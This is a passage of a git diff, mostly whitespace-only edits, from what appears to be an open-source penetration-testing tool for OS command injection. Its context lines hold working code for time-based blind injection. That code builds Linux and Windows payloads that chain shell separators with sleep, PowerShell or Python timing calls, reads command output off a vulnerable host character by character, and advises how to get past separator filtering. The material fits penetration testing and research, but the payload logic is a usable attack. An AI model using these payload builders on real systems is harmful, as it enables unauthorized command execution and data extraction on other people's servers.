if no_result == True: - return False + return False else: - return True + return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() @@ -515,7 +515,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass # break - except (KeyboardInterrupt, SystemExit): + except (KeyboardInterrupt, SystemExit): raise except EOFError: @@ -524,7 +524,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise - + if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) @@ -544,7 +544,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = True - + if url_time_response >= settings.SLOW_TARGET_RESPONSE: warn_msg = "It is highly recommended, due to serious response delays, " warn_msg += "to skip the time-based (blind) technique and to continue " diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 01115da147..94d987a73c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -49,7 +49,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) + # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -61,7 +61,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -69,7 +69,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -102,7 +102,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined method is POST. else: parameter = menu.options.data @@ -112,7 +112,7 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -120,11 +120,11 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) # Get the response of the request @@ -168,12 +168,12 @@ def custom_header_injection_test(url, vuln_parameter, payload): The main command injection exploitation. """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" if menu.options.file_write or menu.options.file_upload: @@ -190,7 +190,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -203,7 +203,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -226,15 +226,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - else: + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True - if injection_check == True: + if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) @@ -247,7 +247,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, break # Proceed with the next (injection) step! - if found_chars == True : + if found_chars == True : if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 @@ -256,11 +256,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_start = time.time() output = [] percent = "0.0%" - info_msg = "Presuming the execution output." + info_msg = "Presuming the execution output." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" else: - info_msg += "\n" + info_msg += "\n" if output_length > 1: sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -279,13 +279,13 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -307,15 +307,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: + + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True - + if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) @@ -331,13 +331,13 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, sys.stdout.flush() else: output.append(chr(ascii_char)) - injection_check = False + injection_check = False break - + check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) - + # Check for empty output. if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" @@ -358,7 +358,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False @@ -369,17 +369,17 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese timesec = timesec + random.randint(3, 5) # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(".") for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(".") # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -392,7 +392,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -415,7 +415,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - else: + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): @@ -429,7 +429,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese check_start = 0 check_end = 0 check_start = time.time() - + output = [] percent = 0 sys.stdout.flush() @@ -445,7 +445,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese else: # Get the execution output, of shell execution. payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -458,7 +458,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -481,14 +481,14 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - else: + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True break - + if is_valid: break @@ -497,13 +497,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(" (done)") return how_long, output else: checks.unexploitable_point() - + """ Export the injection results @@ -518,7 +518,7 @@ def export_injection_results(cmd, separator, output, check_how_long): else: # Check if exists pipe filtration. if output != False : - err_msg = "It appears that '" + cmd + "' command could not return " + err_msg = "It appears that '" + cmd + "' command could not return " err_msg += "any output due to '" + separator + "' filtration on target host. " err_msg += "To bypass that limitation, use the '--alter-shell' option " err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 2137b56722..1edd5b1b1d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,28 +30,28 @@ def decision(separator, TAG, output_length, timesec, http_request_method): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: if separator == ";" or separator == "%0a": - payload = (separator + - "str=$(echo " + TAG + ")" + separator + + payload = (separator + + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + + "then sleep 0" + separator + + "else sleep " + str(timesec) + separator + "fi" ) @@ -59,12 +59,12 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=$(echo " + TAG + ")" + separator + + payload = (ampersand + + "sleep 0 " + separator + + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -72,10 +72,10 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + + "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -89,43 +89,43 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + payload = (ampersand + settings.SINGLE_WHITESPACE + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: @@ -135,9 +135,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + ) else: pass @@ -150,7 +150,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me else: if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") - + return payload """ @@ -160,56 +160,56 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: + else: settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a": - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - #"str1=${%23str}" + separator + + payload = (separator + + "str=\"$(echo $(" + cmd + "))\"" + separator + + #"str1=${%23str}" + separator + "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + + "then sleep 0" + separator + + "else sleep " + str(timesec) + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + + payload = (ampersand + + "sleep 0" + separator + "str=$(echo $(" + cmd + "))" + separator + # Find the length of the output. "str1=$(expr length $str)" + separator + - #"str1=${%23str} " + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + #"str1=${%23str} " + separator + + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + + "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) else: @@ -224,42 +224,42 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + payload = (ampersand + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: @@ -269,9 +269,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + ) else: pass @@ -292,29 +292,29 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: + else: settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a" : - payload = (separator + + payload = (separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"$(echo $(" + cmd + "))\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons @@ -327,16 +327,16 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + + payload = (ampersand + + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"$(echo $(" + cmd + "))\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) #if menu.options.data: @@ -345,11 +345,11 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -363,41 +363,41 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f 